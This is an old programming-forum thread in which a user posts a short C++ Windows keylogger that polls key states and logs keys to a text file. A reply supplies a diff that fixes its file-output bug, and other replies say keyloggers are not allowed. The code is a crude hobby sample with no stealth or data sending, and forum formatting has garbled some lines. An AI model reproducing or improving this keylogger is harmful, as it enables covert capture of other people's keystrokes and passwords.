What's wrong with this?

Discussion in 'Programming General' started by 1cy phyr3, Aug 19, 2011.

What's wrong with this?
  1. Unread #1 - Aug 19, 2011 at 2:00 AM
  2. 1cy phyr3
    Joined:
    Jun 20, 2007
    Posts:
    223
    Referrals:
    0
    Sythe Gold:
    66

    1cy phyr3 Active Member
    $25 USD Donor New

    What's wrong with this?

    I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great :D
    #include <iostream>
    #include <fstream>
    #include <Windows.h>

    int main()
    {
    std::eek:fstream Log("Log.txt");

    bool AllowKey[128];

    for(int i = 0; i < 128; i++)
    {
    AllowKey = false;
    }

    while(1)
    {
    for(int K = 0; K <= 127; K++)
    {
    if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
    {
    Log << (char)K <<"\n";
    Log.flush();
    AllowKey[K] = false;
    }

    if((bool)GetAsyncKeyState(K) == false)
    {
    AllowKey[K] = true;
    }
    }
    }
    }
     
  3. Unread #2 - Aug 25, 2011 at 6:47 PM
  4. Nullware
    Joined:
    Jan 30, 2007
    Posts:
    1,761
    Referrals:
    4
    Sythe Gold:
    0

    Nullware Guru

    What's wrong with this?

    We generally don't approve of keyloggers but I'm going to give you the benefit of the doubt and believe you are just doing it as a hobbyist way of learning because your friend didn't think that you could just like you said.

    First of all you posted code that won't compile because you missed a colon in the 7th line. The only thing wrong with your code is that it will only work if the file already exists (appending) because you don't tell it what kind of operations the stream should expect. Tell it to expect output and it will create the file.

    Here are my changes. Hopefully you can read diff output.
    Code:
    7c7,8
    < std:fstream Log("Log.txt");
    ---
    > std::fstream Log;
    > Log.open("Log.txt", std::fstream::out);
    
     
  5. Unread #3 - Aug 26, 2011 at 8:07 AM
  6. MrMango
    Joined:
    Aug 26, 2011
    Posts:
    114
    Referrals:
    0
    Sythe Gold:
    0

    MrMango Active Member
    Trade With Caution

    What's wrong with this?

    add my msn.
     
  7. Unread #4 - Aug 26, 2011 at 8:08 AM
  8. Pansy123
    Joined:
    Aug 24, 2011
    Posts:
    91
    Referrals:
    0
    Sythe Gold:
    0

    Pansy123 Member
    Banned

    What's wrong with this?

    This isn't allowed.
     
  9. Unread #5 - Aug 26, 2011 at 8:22 PM
  10. 1cy phyr3
    Joined:
    Jun 20, 2007
    Posts:
    223
    Referrals:
    0
    Sythe Gold:
    66

    1cy phyr3 Active Member
    $25 USD Donor New

    What's wrong with this?

    Just a note to everyone saying it's not allowed. This is just a keylogger that runs on my computer to see if I could make one I've been teaching myself C++ for a little bit now and this is one of things I've made so far ;) If it really isn't allowed then I'm sorry :p
    EDIT: Thanks for the help :) I'm not very good at it haha :p
     
< Mircosoft Access Help | Quick Question: Best Script for blogging, posting youtube videos, members page >

Users viewing this thread
1 guest


 
 
Adblock breaks this site